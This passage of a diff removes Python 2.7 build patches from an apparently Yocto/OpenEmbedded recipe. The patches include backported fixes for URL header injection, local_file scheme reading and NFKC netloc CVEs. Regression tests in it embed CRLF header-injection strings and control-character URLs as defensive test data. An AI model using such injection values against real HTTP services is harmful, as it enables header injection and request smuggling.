-+ host = "localhost:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123"
-+ schemeless_url = "//" + host + ":8080/test/?test=a"
-+ try:
-+ # urllib quotes the URL so there is no injection.
-+ resp = urllib.urlopen("http:" + schemeless_url)
-+ self.assertNotIn(' ', resp.geturl())
-+ self.assertNotIn('\r', resp.geturl())
-+ self.assertNotIn('\n', resp.geturl())
-+ finally:
-+ self.unfakehttp()
-+
- def test_read_bogus(self):
- # urlopen() should raise IOError for many error codes.
- self.fakehttp('''HTTP/1.1 401 Authentication Required
-diff --git a/Lib/test/test_urllib2.py b/Lib/test/test_urllib2.py
-index 6d24d5ddf83c..9531818e16b2 100644
---- a/Lib/test/test_urllib2.py
-+++ b/Lib/test/test_urllib2.py
-@@ -15,6 +15,9 @@
- except ImportError:
- ssl = None
-
-+from test.test_urllib import FakeHTTPMixin
-+
-+
- # XXX
- # Request
- # CacheFTPHandler (hard to write)
-@@ -1262,7 +1265,7 @@ def _test_basic_auth(self, opener, auth_handler, auth_header,
- self.assertEqual(len(http_handler.requests), 1)
- self.assertFalse(http_handler.requests[0].has_header(auth_header))
-
--class MiscTests(unittest.TestCase):
-+class MiscTests(unittest.TestCase, FakeHTTPMixin):
-
- def test_build_opener(self):
- class MyHTTPHandler(urllib2.HTTPHandler): pass
-@@ -1317,6 +1320,52 @@ def test_unsupported_algorithm(self):
- "Unsupported digest authentication algorithm 'invalid'"
- )
-
-+ @unittest.skipUnless(ssl, "ssl module required")
-+ def test_url_with_control_char_rejected(self):
-+ for char_no in range(0, 0x21) + range(0x7f, 0x100):
-+ char = chr(char_no)
-+ schemeless_url = "//localhost:7777/test%s/" % char
-+ self.fakehttp(b"HTTP/1.1 200 OK\r\n\r\nHello.")
-+ try:
-+ # We explicitly test urllib.request.urlopen() instead of the top
-+ # level 'def urlopen()' function defined in this... (quite ugly)
-+ # test suite. They use different url opening codepaths. Plain
-+ # urlopen uses FancyURLOpener which goes via a codepath that
-+ # calls urllib.parse.quote() on the URL which makes all of the
-+ # above attempts at injection within the url _path_ safe.
-+ escaped_char_repr = repr(char).replace('\\', r'\\')
-+ InvalidURL = httplib.InvalidURL
-+ with self.assertRaisesRegexp(
-+ InvalidURL, "contain control.*" + escaped_char_repr):
-+ urllib2.urlopen("http:" + schemeless_url)
-+ with self.assertRaisesRegexp(
-+ InvalidURL, "contain control.*" + escaped_char_repr):
-+ urllib2.urlopen("https:" + schemeless_url)
-+ finally:
-+ self.unfakehttp()
-+
-+ @unittest.skipUnless(ssl, "ssl module required")
-+ def test_url_with_newline_header_injection_rejected(self):
-+ self.fakehttp(b"HTTP/1.1 200 OK\r\n\r\nHello.")
-+ host = "localhost:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123"
-+ schemeless_url = "//" + host + ":8080/test/?test=a"
-+ try:
-+ # We explicitly test urllib2.urlopen() instead of the top
-+ # level 'def urlopen()' function defined in this... (quite ugly)
-+ # test suite. They use different url opening codepaths. Plain
-+ # urlopen uses FancyURLOpener which goes via a codepath that
-+ # calls urllib.parse.quote() on the URL which makes all of the
-+ # above attempts at injection within the url _path_ safe.
-+ InvalidURL = httplib.InvalidURL
-+ with self.assertRaisesRegexp(
-+ InvalidURL, r"contain control.*\\r.*(found at least . .)"):
-+ urllib2.urlopen("http:" + schemeless_url)
-+ with self.assertRaisesRegexp(InvalidURL, r"contain control.*\\n"):
-+ urllib2.urlopen("https:" + schemeless_url)
-+ finally:
-+ self.unfakehttp()
-+
-+
-
- class RequestTests(unittest.TestCase):
-
-diff --git a/Lib/test/test_xmlrpc.py b/Lib/test/test_xmlrpc.py
-index 36b3be67fd6b..90ccb30716ff 100644
---- a/Lib/test/test_xmlrpc.py
-+++ b/Lib/test/test_xmlrpc.py
-@@ -659,7 +659,13 @@ def test_dotted_attribute(self):
- def test_partial_post(self):
- # Check that a partial POST doesn't make the server loop: issue #14001.
- conn = httplib.HTTPConnection(ADDR, PORT)
-- conn.request('POST', '/RPC2 HTTP/1.0\r\nContent-Length: 100\r\n\r\nbye')
-+ conn.send('POST /RPC2 HTTP/1.0\r\n'
-+ 'Content-Length: 100\r\n\r\n'
-+ 'bye HTTP/1.1\r\n'
-+ 'Host: %s:%s\r\n'
-+ 'Accept-Encoding: identity\r\n'
-+ 'Content-Length: 0\r\n\r\n'
-+ % (ADDR, PORT))
- conn.close()
-
- class SimpleServerEncodingTestCase(BaseServerTestCase):
-diff --git a/Misc/NEWS.d/next/Security/2019-04-10-08-53-30.bpo-30458.51E-DA.rst b/Misc/NEWS.d/next/Security/2019-04-10-08-53-30.bpo-30458.51E-DA.rst
-new file mode 100644
-index 000000000000..47cb899df1af
---- /dev/null
-+++ b/Misc/NEWS.d/next/Security/2019-04-10-08-53-30.bpo-30458.51E-DA.rst
-@@ -0,0 +1 @@
-+Address CVE-2019-9740 by disallowing URL paths with embedded whitespace or control characters through into the underlying http client request. Such potentially malicious header injection URLs now cause an httplib.InvalidURL exception to be raised.
diff --git a/meta/recipes-devtools/python/python/add-CROSSPYTHONPATH-for-PYTHON_FOR_BUILD.patch b/meta/recipes-devtools/python/python/add-CROSSPYTHONPATH-for-PYTHON_FOR_BUILD.patch
deleted file mode 100644
index 329734064b..0000000000
--- a/meta/recipes-devtools/python/python/add-CROSSPYTHONPATH-for-PYTHON_FOR_BUILD.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-configure.ac: add CROSSPYTHONPATH into PYTHONPATH for PYTHON_FOR_BUILD
-
-When building x86->x86 the system will try to execute .so and related items
-from the default PYTHONPATH. This will fail if the target CPU contains
-instructions that the host CPU does not have, add CROSSPYTHONPATH
-into PYTHONPATH so we can prepend the list to find correct libs.
-
-Upstream-Status: Inappropriate [OE-Core integration specific]
-
-Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
-Signed-off-by: Jackie Huang <jackie.huang@windriver.com>
----
- configure.ac | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-Index: Python-2.7.14/configure.ac
-===================================================================
---- Python-2.7.14.orig/configure.ac
-+++ Python-2.7.14/configure.ac
-@@ -36,7 +36,7 @@ if test "$cross_compiling" = yes; then
- AC_MSG_ERROR([python$PACKAGE_VERSION interpreter not found])
- fi
- AC_MSG_RESULT($interp)
-- PYTHON_FOR_BUILD='_PYTHON_PROJECT_BASE=$(abs_builddir) _PYTHON_HOST_PLATFORM=$(_PYTHON_HOST_PLATFORM) PYTHONPATH=$(shell test -f pybuilddir.txt && echo $(abs_builddir)/`cat pybuilddir.txt`:)$(srcdir)/Lib:$(srcdir)/Lib/$(PLATDIR) '$interp
-+ PYTHON_FOR_BUILD='_PYTHON_PROJECT_BASE=$(abs_builddir) _PYTHON_HOST_PLATFORM=$(_PYTHON_HOST_PLATFORM) PYTHONPATH=$(CROSSPYTHONPATH):$(shell test -f pybuilddir.txt && echo $(abs_builddir)/`cat pybuilddir.txt`:)$(srcdir)/Lib:$(srcdir)/Lib/plat-$(MACHDEP) '$interp
- fi
- elif test "$cross_compiling" = maybe; then
- AC_MSG_ERROR([Cross compiling required --host=HOST-TUPLE and --build=ARCH])
diff --git a/meta/recipes-devtools/python/python/add-md5module-support.patch b/meta/recipes-devtools/python/python/add-md5module-support.patch
deleted file mode 100644
index 33fea77554..0000000000
--- a/meta/recipes-devtools/python/python/add-md5module-support.patch
+++ /dev/null
@@ -1,18 +0,0 @@
-
-Upstream-Status: Inappropriate [configuration]
-
-Signed-off-by: Saul Wold <sgw@linux.intel.com>
-
-Index: Python-2.7.2/Modules/Setup.dist
-===================================================================
---- Python-2.7.2.orig/Modules/Setup.dist 2011-06-11 08:46:26.000000000 -0700
-+++ Python-2.7.2/Modules/Setup.dist 2011-12-27 15:51:41.244623219 -0800
-@@ -248,7 +248,7 @@
- # Message-Digest Algorithm, described in RFC 1321. The necessary files
- # md5.c and md5.h are included here.
-
--#_md5 md5module.c md5.c
-+_md5 md5module.c md5.c
-
-
- # The _sha module implements the SHA checksum algorithms.
diff --git a/meta/recipes-devtools/python/python/avoid_warning_about_tkinter.patch b/meta/recipes-devtools/python/python/avoid_warning_about_tkinter.patch
deleted file mode 100644
index 287095f615..0000000000
--- a/meta/recipes-devtools/python/python/avoid_warning_about_tkinter.patch
+++ /dev/null
@@ -1,29 +0,0 @@
-_tkinter module needs tk module along with tcl. tk is not yet integrated
-in yocto so we skip the check for this module.
-Avoid a warning by not adding this module to missing variable.
-
-Upstream-Status: Inappropriate [distribution]
-
-Also simply disable the tk module since its not in DEPENDS.
-Signed-off-by: Andrei Gherzan <andrei@gherzan.ro>
-
-Index: Python-2.7.13/setup.py
-===================================================================
---- Python-2.7.13.orig/setup.py
-+++ Python-2.7.13/setup.py
-@@ -1783,10 +1783,12 @@ class PyBuildExt(build_ext):
- self.extensions.extend(exts)
-
- # Call the method for detecting whether _tkinter can be compiled
-- self.detect_tkinter(inc_dirs, lib_dirs)
-+ # self.detect_tkinter(inc_dirs, lib_dirs)
-
-- if '_tkinter' not in [e.name for e in self.extensions]:
-- missing.append('_tkinter')
-+ # tkinter module will not be avalaible as yocto
-+ # doesn't have tk integrated (yet)
-+ #if '_tkinter' not in [e.name for e in self.extensions]:
-+ # missing.append('_tkinter')
-
- ## # Uncomment these lines if you want to play with xxmodule.c
- ## ext = Extension('xx', ['xxmodule.c'])
diff --git a/meta/recipes-devtools/python/python/avoid_warning_for_sunos_specific_module.patch b/meta/recipes-devtools/python/python/avoid_warning_for_sunos_specific_module.patch
deleted file mode 100644
index 8ba5823014..0000000000
--- a/meta/recipes-devtools/python/python/avoid_warning_for_sunos_specific_module.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-sunaudiodev module is sunos specific so we avoid a warning by not
-adding this module to missing variable.
-
-Upstream-Status: Inappropriate [distribution]
-
-Signed-off-by: Andrei Gherzan <andrei@gherzan.ro>
-
-Index: Python-2.7.13/setup.py
-===================================================================
---- Python-2.7.13.orig/setup.py
-+++ Python-2.7.13/setup.py
-@@ -1671,8 +1671,9 @@ class PyBuildExt(build_ext):
- if host_platform == 'sunos5':
- # SunOS specific modules
- exts.append( Extension('sunaudiodev', ['sunaudiodev.c']) )
-- else:
-- missing.append('sunaudiodev')
-+ # If platform is not sunos warning is useless
-+ #else:
-+ # missing.append('sunaudiodev')
-
- if host_platform == 'darwin':
- # _scproxy
diff --git a/meta/recipes-devtools/python/python/bpo-35907-cve-2019-9948-fix.patch b/meta/recipes-devtools/python/python/bpo-35907-cve-2019-9948-fix.patch
deleted file mode 100644
index b267237018..0000000000
--- a/meta/recipes-devtools/python/python/bpo-35907-cve-2019-9948-fix.patch
+++ /dev/null
@@ -1,55 +0,0 @@
-From 179a5f75f1121dab271fe8f90eb35145f9dcbbda Mon Sep 17 00:00:00 2001
-From: Sihoon Lee <push0ebp@gmail.com>
-Date: Fri, 17 May 2019 02:41:06 +0900
-Subject: [PATCH] Update test_urllib.py and urllib.py\nchange assertEqual into
- assertRasies in DummyURLopener test, and simplify mitigation
-
-Upstream-Status: Submitted https://github.com/python/cpython/pull/11842
-
-CVE: CVE-2019-9948
-
-Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
----
- Lib/test/test_urllib.py | 11 +++--------
- Lib/urllib.py | 4 ++--
- 2 files changed, 5 insertions(+), 10 deletions(-)
-
-diff --git a/Lib/test/test_urllib.py b/Lib/test/test_urllib.py
-index e5f210e62a18..1e23dfb0bb16 100644
---- a/Lib/test/test_urllib.py
-+++ b/Lib/test/test_urllib.py
-@@ -1027,14 +1027,9 @@ def test_local_file_open(self):
- class DummyURLopener(urllib.URLopener):
- def open_local_file(self, url):
- return url
-- self.assertEqual(DummyURLopener().open(
-- 'local-file://example'), '//example')
-- self.assertEqual(DummyURLopener().open(
-- 'local_file://example'), '//example')
-- self.assertRaises(IOError, urllib.urlopen,
-- 'local-file://example')
-- self.assertRaises(IOError, urllib.urlopen,
-- 'local_file://example')
-+ for url in ('local_file://example', 'local-file://example'):
-+ self.assertRaises(IOError, DummyURLopener().open, url)
-+ self.assertRaises(IOError, urllib.urlopen, url)
-
- # Just commented them out.
- # Can't really tell why keep failing in windows and sparc.
-diff --git a/Lib/urllib.py b/Lib/urllib.py
-index a24e9a5c68fb..39b834054e9e 100644
---- a/Lib/urllib.py
-+++ b/Lib/urllib.py
-@@ -203,10 +203,10 @@ def open(self, fullurl, data=None):
- name = 'open_' + urltype
- self.type = urltype
- name = name.replace('-', '_')
--
-+
- # bpo-35907: # disallow the file reading with the type not allowed
- if not hasattr(self, name) or \
-- (self == _urlopener and name == 'open_local_file'):
-+ getattr(self, name) == self.open_local_file:
- if proxy:
- return self.open_unknown_proxy(proxy, fullurl, data)
- else:
diff --git a/meta/recipes-devtools/python/python/bpo-35907-cve-2019-9948.patch b/meta/recipes-devtools/python/python/bpo-35907-cve-2019-9948.patch
deleted file mode 100644
index f4c225d2fc..0000000000
--- a/meta/recipes-devtools/python/python/bpo-35907-cve-2019-9948.patch
+++ /dev/null
@@ -1,55 +0,0 @@
-From 8f99cc799e4393bf1112b9395b2342f81b3f45ef Mon Sep 17 00:00:00 2001
-From: push0ebp <push0ebp@shl-MacBook-Pro.local>
-Date: Thu, 14 Feb 2019 02:05:46 +0900
-Subject: [PATCH] bpo-35907: Avoid file reading as disallowing the unnecessary
- URL scheme in urllib
-
-Upstream-Status: Submitted https://github.com/python/cpython/pull/11842
-
-CVE: CVE-2019-9948
-
-Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
----
- Lib/test/test_urllib.py | 12 ++++++++++++
- Lib/urllib.py | 5 ++++-
- 2 files changed, 16 insertions(+), 1 deletion(-)
-
-diff --git a/Lib/test/test_urllib.py b/Lib/test/test_urllib.py
-index 1ce9201c0693..e5f210e62a18 100644
---- a/Lib/test/test_urllib.py
-+++ b/Lib/test/test_urllib.py
-@@ -1023,6 +1023,18 @@ def open_spam(self, url):
- "spam://c:|windows%/:=&?~#+!$,;'@()*[]|/path/"),
- "//c:|windows%/:=&?~#+!$,;'@()*[]|/path/")
-
-+ def test_local_file_open(self):
-+ class DummyURLopener(urllib.URLopener):
-+ def open_local_file(self, url):
-+ return url
-+ self.assertEqual(DummyURLopener().open(
-+ 'local-file://example'), '//example')
-+ self.assertEqual(DummyURLopener().open(
-+ 'local_file://example'), '//example')
-+ self.assertRaises(IOError, urllib.urlopen,
-+ 'local-file://example')
-+ self.assertRaises(IOError, urllib.urlopen,
-+ 'local_file://example')
-
- # Just commented them out.
- # Can't really tell why keep failing in windows and sparc.
-diff --git a/Lib/urllib.py b/Lib/urllib.py
-index d85504a5cb7e..a24e9a5c68fb 100644
---- a/Lib/urllib.py
-+++ b/Lib/urllib.py
-@@ -203,7 +203,10 @@ def open(self, fullurl, data=None):
- name = 'open_' + urltype
- self.type = urltype
- name = name.replace('-', '_')
-- if not hasattr(self, name):
-+
-+ # bpo-35907: # disallow the file reading with the type not allowed
-+ if not hasattr(self, name) or \
-+ (self == _urlopener and name == 'open_local_file'):
- if proxy:
- return self.open_unknown_proxy(proxy, fullurl, data)
- else:
diff --git a/meta/recipes-devtools/python/python/bpo-36216-cve-2019-9636-fix.patch b/meta/recipes-devtools/python/python/bpo-36216-cve-2019-9636-fix.patch
deleted file mode 100644
index 2ce4d2cde7..0000000000
--- a/meta/recipes-devtools/python/python/bpo-36216-cve-2019-9636-fix.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From 06b5ee585d6e76bdbb4002f642d864d860cbbd2b Mon Sep 17 00:00:00 2001
-From: Steve Dower <steve.dower@python.org>
-Date: Tue, 12 Mar 2019 08:23:33 -0700
-Subject: [PATCH] bpo-36216: Only print test messages when verbose
-
-CVE: CVE-2019-9636
-
-Upstream-Status: Backport https://github.com/python/cpython/pull/12291/commits/06b5ee585d6e76bdbb4002f642d864d860cbbd2b
-
-Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
----
- Lib/test/test_urlparse.py | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/Lib/test/test_urlparse.py b/Lib/test/test_urlparse.py
-index 73b0228ea8e3..1830d0b28688 100644
---- a/Lib/test/test_urlparse.py
-+++ b/Lib/test/test_urlparse.py
-@@ -644,7 +644,8 @@ def test_urlsplit_normalization(self):
- for scheme in [u"http", u"https", u"ftp"]:
- for c in denorm_chars:
- url = u"{}://netloc{}false.netloc/path".format(scheme, c)
-- print "Checking %r" % url
-+ if test_support.verbose:
-+ print "Checking %r" % url
- with self.assertRaises(ValueError):
- urlparse.urlsplit(url)
-
diff --git a/meta/recipes-devtools/python/python/bpo-36216-cve-2019-9636.patch b/meta/recipes-devtools/python/python/bpo-36216-cve-2019-9636.patch
deleted file mode 100644
index 352b13ba9b..0000000000
--- a/meta/recipes-devtools/python/python/bpo-36216-cve-2019-9636.patch
+++ /dev/null
@@ -1,111 +0,0 @@
-From 3e3669c9c41a27e1466e2c28b3906e3dd0ce3e7e Mon Sep 17 00:00:00 2001
-From: Steve Dower <steve.dower@python.org>
-Date: Thu, 7 Mar 2019 08:25:22 -0800
-Subject: [PATCH] bpo-36216: Add check for characters in netloc that normalize
- to separators (GH-12201)
-
-CVE: CVE-2019-9636
-
-Upstream-Status: Backport https://github.com/python/cpython/pull/12216/commits/3e3669c9c41a27e1466e2c28b3906e3dd0ce3e7e
-
-Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
----
- Doc/library/urlparse.rst | 20 ++++++++++++++++
- Lib/test/test_urlparse.py | 24 +++++++++++++++++++
- Lib/urlparse.py | 17 +++++++++++++
- .../2019-03-06-09-38-40.bpo-36216.6q1m4a.rst | 3 +++
- 4 files changed, 64 insertions(+)
- create mode 100644 Misc/NEWS.d/next/Security/2019-03-06-09-38-40.bpo-36216.6q1m4a.rst
-
-diff --git a/Lib/test/test_urlparse.py b/Lib/test/test_urlparse.py
-index 4e1ded73c266..73b0228ea8e3 100644
---- a/Lib/test/test_urlparse.py
-+++ b/Lib/test/test_urlparse.py
-@@ -1,4 +1,6 @@
- from test import test_support
-+import sys
-+import unicodedata
- import unittest
- import urlparse
-
-@@ -624,6 +626,28 @@ def test_portseparator(self):
- self.assertEqual(urlparse.urlparse("http://www.python.org:80"),
- ('http','www.python.org:80','','','',''))
-
-+ def test_urlsplit_normalization(self):
-+ # Certain characters should never occur in the netloc,
-+ # including under normalization.
-+ # Ensure that ALL of them are detected and cause an error
-+ illegal_chars = u'/:#?@'
-+ hex_chars = {'{:04X}'.format(ord(c)) for c in illegal_chars}
-+ denorm_chars = [
-+ c for c in map(unichr, range(128, sys.maxunicode))
-+ if (hex_chars & set(unicodedata.decomposition(c).split()))
-+ and c not in illegal_chars
-+ ]
-+ # Sanity check that we found at least one such character
-+ self.assertIn(u'\u2100', denorm_chars)
-+ self.assertIn(u'\uFF03', denorm_chars)
-+
-+ for scheme in [u"http", u"https", u"ftp"]:
-+ for c in denorm_chars:
-+ url = u"{}://netloc{}false.netloc/path".format(scheme, c)
-+ print "Checking %r" % url
-+ with self.assertRaises(ValueError):
-+ urlparse.urlsplit(url)
-+
- def test_main():
- test_support.run_unittest(UrlParseTestCase)
-
-diff --git a/Lib/urlparse.py b/Lib/urlparse.py
-index f7c2b032b097..54eda08651ab 100644
---- a/Lib/urlparse.py
-+++ b/Lib/urlparse.py
-@@ -165,6 +165,21 @@ def _splitnetloc(url, start=0):
- delim = min(delim, wdelim) # use earliest delim position
- return url[start:delim], url[delim:] # return (domain, rest)
-
-+def _checknetloc(netloc):
-+ if not netloc or not isinstance(netloc, unicode):
-+ return
-+ # looking for characters like \u2100 that expand to 'a/c'
-+ # IDNA uses NFKC equivalence, so normalize for this check
-+ import unicodedata
-+ netloc2 = unicodedata.normalize('NFKC', netloc)
-+ if netloc == netloc2:
-+ return
-+ _, _, netloc = netloc.rpartition('@') # anything to the left of '@' is okay
-+ for c in '/?#@:':
-+ if c in netloc2:
-+ raise ValueError("netloc '" + netloc2 + "' contains invalid " +
-+ "characters under NFKC normalization")
-+
- def urlsplit(url, scheme='', allow_fragments=True):
- """Parse a URL into 5 components:
- <scheme>://<netloc>/<path>?<query>#<fragment>
-@@ -193,6 +208,7 @@ def urlsplit(url, scheme='', allow_fragments=True):
- url, fragment = url.split('#', 1)
- if '?' in url:
- url, query = url.split('?', 1)
-+ _checknetloc(netloc)
- v = SplitResult(scheme, netloc, url, query, fragment)
- _parse_cache[key] = v
- return v
-@@ -216,6 +232,7 @@ def urlsplit(url, scheme='', allow_fragments=True):
- url, fragment = url.split('#', 1)
- if '?' in url:
- url, query = url.split('?', 1)
-+ _checknetloc(netloc)
- v = SplitResult(scheme, netloc, url, query, fragment)
- _parse_cache[key] = v
- return v
-diff --git a/Misc/NEWS.d/next/Security/2019-03-06-09-38-40.bpo-36216.6q1m4a.rst b/Misc/NEWS.d/next/Security/2019-03-06-09-38-40.bpo-36216.6q1m4a.rst
-new file mode 100644
-index 000000000000..1e1ad92c6feb
---- /dev/null
-+++ b/Misc/NEWS.d/next/Security/2019-03-06-09-38-40.bpo-36216.6q1m4a.rst
-@@ -0,0 +1,3 @@
-+Changes urlsplit() to raise ValueError when the URL contains characters that
-+decompose under IDNA encoding (NFKC-normalization) into characters that
-+affect how the URL is parsed.
-\ No newline at end of file
diff --git a/meta/recipes-devtools/python/python/bpo-36742-cve-2019-10160.patch b/meta/recipes-devtools/python/python/bpo-36742-cve-2019-10160.patch
deleted file mode 100644
index 1b6cb8cf3e..0000000000
--- a/meta/recipes-devtools/python/python/bpo-36742-cve-2019-10160.patch
+++ /dev/null
@@ -1,81 +0,0 @@
-From 5a1033fe5be764a135adcfff2fdc14edc3e5f327 Mon Sep 17 00:00:00 2001
-From: Changqing Li <changqing.li@windriver.com>
-Date: Thu, 10 Oct 2019 16:32:19 +0800
-Subject: [PATCH] bpo-36742: Fixes handling of pre-normalization characters in
- urlsplit() bpo-36742: Corrects fix to handle decomposition in usernames
-
-Upstream-Status: Backport
-
-https://github.com/python/cpython/commit/98a4dcefbbc3bce5ab07e7c0830a183157250259
-https://github.com/python/cpython/commit/f61599b050c621386a3fc6bc480359e2d3bb93de#diff-b577545d73dd0cdb2c337a4c5f89e1d7
-
-CVE: CVE-2019-10160
-
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
----
- Lib/test/test_urlparse.py | 19 +++++++++++++------
- Lib/urlparse.py | 14 +++++++++-----
- 2 files changed, 22 insertions(+), 11 deletions(-)
-
-diff --git a/Lib/test/test_urlparse.py b/Lib/test/test_urlparse.py
-index 1830d0b..857ed96 100644
---- a/Lib/test/test_urlparse.py
-+++ b/Lib/test/test_urlparse.py
-@@ -641,13 +641,20 @@ class UrlParseTestCase(unittest.TestCase):
- self.assertIn(u'\u2100', denorm_chars)
- self.assertIn(u'\uFF03', denorm_chars)
-
-+ # bpo-36742: Verify port separators are ignored when they
-+ # existed prior to decomposition
-+ urlparse.urlsplit(u'http://\u30d5\u309a:80')
-+ with self.assertRaises(ValueError):
-+ urlparse.urlsplit(u'http://\u30d5\u309a\ufe1380')
-+
- for scheme in [u"http", u"https", u"ftp"]:
-- for c in denorm_chars:
-- url = u"{}://netloc{}false.netloc/path".format(scheme, c)
-- if test_support.verbose:
-- print "Checking %r" % url
-- with self.assertRaises(ValueError):
-- urlparse.urlsplit(url)
-+ for netloc in [u"netloc{}false.netloc", u"n{}user@netloc"]:
-+ for c in denorm_chars:
-+ url = u"{}://{}/path".format(scheme, netloc.format(c))
-+ if test_support.verbose:
-+ print "Checking %r" % url
-+ with self.assertRaises(ValueError):
-+ urlparse.urlsplit(url)
-
- def test_main():
- test_support.run_unittest(UrlParseTestCase)
-diff --git a/Lib/urlparse.py b/Lib/urlparse.py
-index 54eda08..e34b368 100644
---- a/Lib/urlparse.py
-+++ b/Lib/urlparse.py
-@@ -171,14 +171,18 @@ def _checknetloc(netloc):
- # looking for characters like \u2100 that expand to 'a/c'
- # IDNA uses NFKC equivalence, so normalize for this check
- import unicodedata
-- netloc2 = unicodedata.normalize('NFKC', netloc)
-- if netloc == netloc2:
-+ n = netloc.replace(u'@', u'') # ignore characters already included
-+ n = n.replace(u':', u'') # but not the surrounding text
-+ n = n.replace(u'#', u'')
-+ n = n.replace(u'?', u'')
-+
-+ netloc2 = unicodedata.normalize('NFKC', n)
-+ if n == netloc2:
- return
-- _, _, netloc = netloc.rpartition('@') # anything to the left of '@' is okay
- for c in '/?#@:':
- if c in netloc2:
-- raise ValueError("netloc '" + netloc2 + "' contains invalid " +
-- "characters under NFKC normalization")
-+ raise ValueError(u"netloc '" + netloc + u"' contains invalid " +
-+ u"characters under NFKC normalization")
-
- def urlsplit(url, scheme='', allow_fragments=True):
- """Parse a URL into 5 components:
---
-2.7.4
-
diff --git a/meta/recipes-devtools/python/python/builddir.patch b/meta/recipes-devtools/python/python/builddir.patch
deleted file mode 100644
index ad629a022e..0000000000
--- a/meta/recipes-devtools/python/python/builddir.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-When cross compiling python, we used to need to install the Makefile, pyconfig.h
-and the python library to their final location before being able to compile the
-rest of python. This change allows us to point python at its own source when
-building, avoiding a variety of sysroot staging issues and simplifying the main
-python recipe.
-
-Upstream-Status: Inappropriate
-RP 2012/11/13
-
-Index: Python-2.7.9/Lib/sysconfig.py
-===================================================================
---- Python-2.7.9.orig/Lib/sysconfig.py
-+++ Python-2.7.9/Lib/sysconfig.py
-@@ -93,6 +93,7 @@ _PREFIX = os.path.normpath(sys.prefix)
- _EXEC_PREFIX = os.path.normpath(sys.exec_prefix)
- _CONFIG_VARS = None
- _USER_BASE = None
-+_PYTHONBUILDDIR = os.environ.get("PYTHONBUILDDIR", None)
-
- def _safe_realpath(path):
- try:
-@@ -100,7 +101,9 @@ def _safe_realpath(path):
- except OSError:
- return path
-
--if sys.executable:
-+if _PYTHONBUILDDIR:
-+ _PROJECT_BASE = _PYTHONBUILDDIR
-+elif sys.executable:
- _PROJECT_BASE = os.path.dirname(_safe_realpath(sys.executable))
- else:
- # sys.executable can be empty if argv[0] has been changed and Python is
-Index: Python-2.7.9/Lib/distutils/sysconfig.py
-===================================================================
---- Python-2.7.9.orig/Lib/distutils/sysconfig.py
-+++ Python-2.7.9/Lib/distutils/sysconfig.py
-@@ -26,6 +26,9 @@ EXEC_PREFIX = os.path.normpath(sys.exec_
- # live in project/PCBuild9. If we're dealing with an x64 Windows build,
- # it'll live in project/PCbuild/amd64.
- project_base = os.path.dirname(os.path.abspath(sys.executable))
-+_PYTHONBUILDDIR = os.environ.get("PYTHONBUILDDIR", None)
-+if _PYTHONBUILDDIR:
-+ project_base = _PYTHONBUILDDIR
- if os.name == "nt" and "pcbuild" in project_base[-8:].lower():
- project_base = os.path.abspath(os.path.join(project_base, os.path.pardir))
- # PC/VS7.1
diff --git a/meta/recipes-devtools/python/python/cgi_py.patch b/meta/recipes-devtools/python/python/cgi_py.patch
deleted file mode 100644
index de504f9dcf..0000000000
--- a/meta/recipes-devtools/python/python/cgi_py.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-Lib/cgi.py: Update the script as mentioned in the comment
-
-Upstream-Status: Inappropriate [distribution]
-
-Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
-
---- Python-2.6.6/Lib/cgi.py.orig 2010-08-01 22:14:27.000000000 -0500
-+++ Python-2.6.6/Lib/cgi.py 2011-09-21 15:28:40.478208631 -0500
-@@ -1,13 +1,4 @@
--#! /usr/local/bin/python
--
--# NOTE: the above "/usr/local/bin/python" is NOT a mistake. It is
--# intentionally NOT "/usr/bin/env python". On many systems
--# (e.g. Solaris), /usr/local/bin is not in $PATH as passed to CGI
--# scripts, and /usr/local/bin is the default directory where Python is
--# installed, so /usr/bin/env would be unable to find python. Granted,
--# binary installations by Linux vendors often install Python in
--# /usr/bin. So let those vendors patch cgi.py to match their choice
--# of installation.
-+#! /usr/bin/env python
-
- """Support module for CGI (Common Gateway Interface) scripts.
-
diff --git a/meta/recipes-devtools/python/python/check-if-target-is-64b-not-host.patch b/meta/recipes-devtools/python/python/check-if-target-is-64b-not-host.patch
deleted file mode 100644
index e6d6c65bbe..0000000000
--- a/meta/recipes-devtools/python/python/check-if-target-is-64b-not-host.patch
+++ /dev/null
@@ -1,57 +0,0 @@
-Author: Andrei Gherzan <andrei@gherzan.ro>
-Date: Sun Mar 25 02:02:27 2012 +0200
-
-This patch was added for 64bit host machines. In the compile process python
-is checking if platform is a 64bit platform using sys.maxint which is the host's
-value. The patch fixes this issue so that python would check if TARGET machine
-is 64bit not the HOST machine. In this way will have "dl" and "imageop" modules
-built if HOST machine is 64bit but the target machine is 32bit.
-
-Signed-off-by: Andrei Gherzan <andrei@gherzan.ro>
-
-Upstream-Status: Pending
-
-Index: Python-2.7.11/setup.py
-===================================================================
---- Python-2.7.11.orig/setup.py
-+++ Python-2.7.11/setup.py
-@@ -35,6 +35,21 @@ COMPILED_WITH_PYDEBUG = ('--with-pydebug
- # This global variable is used to hold the list of modules to be disabled.
- disabled_module_list = []
-
-+def target_is_64bit_platform ():
-+ """
-+ In case of cross-compile, some modules are not build as setup checks if HOST
-+ is 64bit and not TARGET.
-+ As python was built for TARGET we can check this in pyconfig.h in this way:
-+ Sizeof LONG on a 32 bit platform is 4 bytes
-+ Sizeof LONG on a 64 bit platform is 8 bytes
-+ """
-+ pyconf = open("pyconfig.h").read()
-+ aux = re.search(r"#s*define\s+SIZEOF_LONG\s+8\s*", pyconf)
-+ if aux is not None:
-+ return True
-+ else:
-+ return False
-+
- def add_dir_to_list(dirlist, dir):
- """Add the directory 'dir' to the list 'dirlist' (at the front) if
- 1) 'dir' is not already in 'dirlist'
-@@ -716,7 +731,7 @@ class PyBuildExt(build_ext):
- exts.append( Extension('audioop', ['audioop.c']) )
-
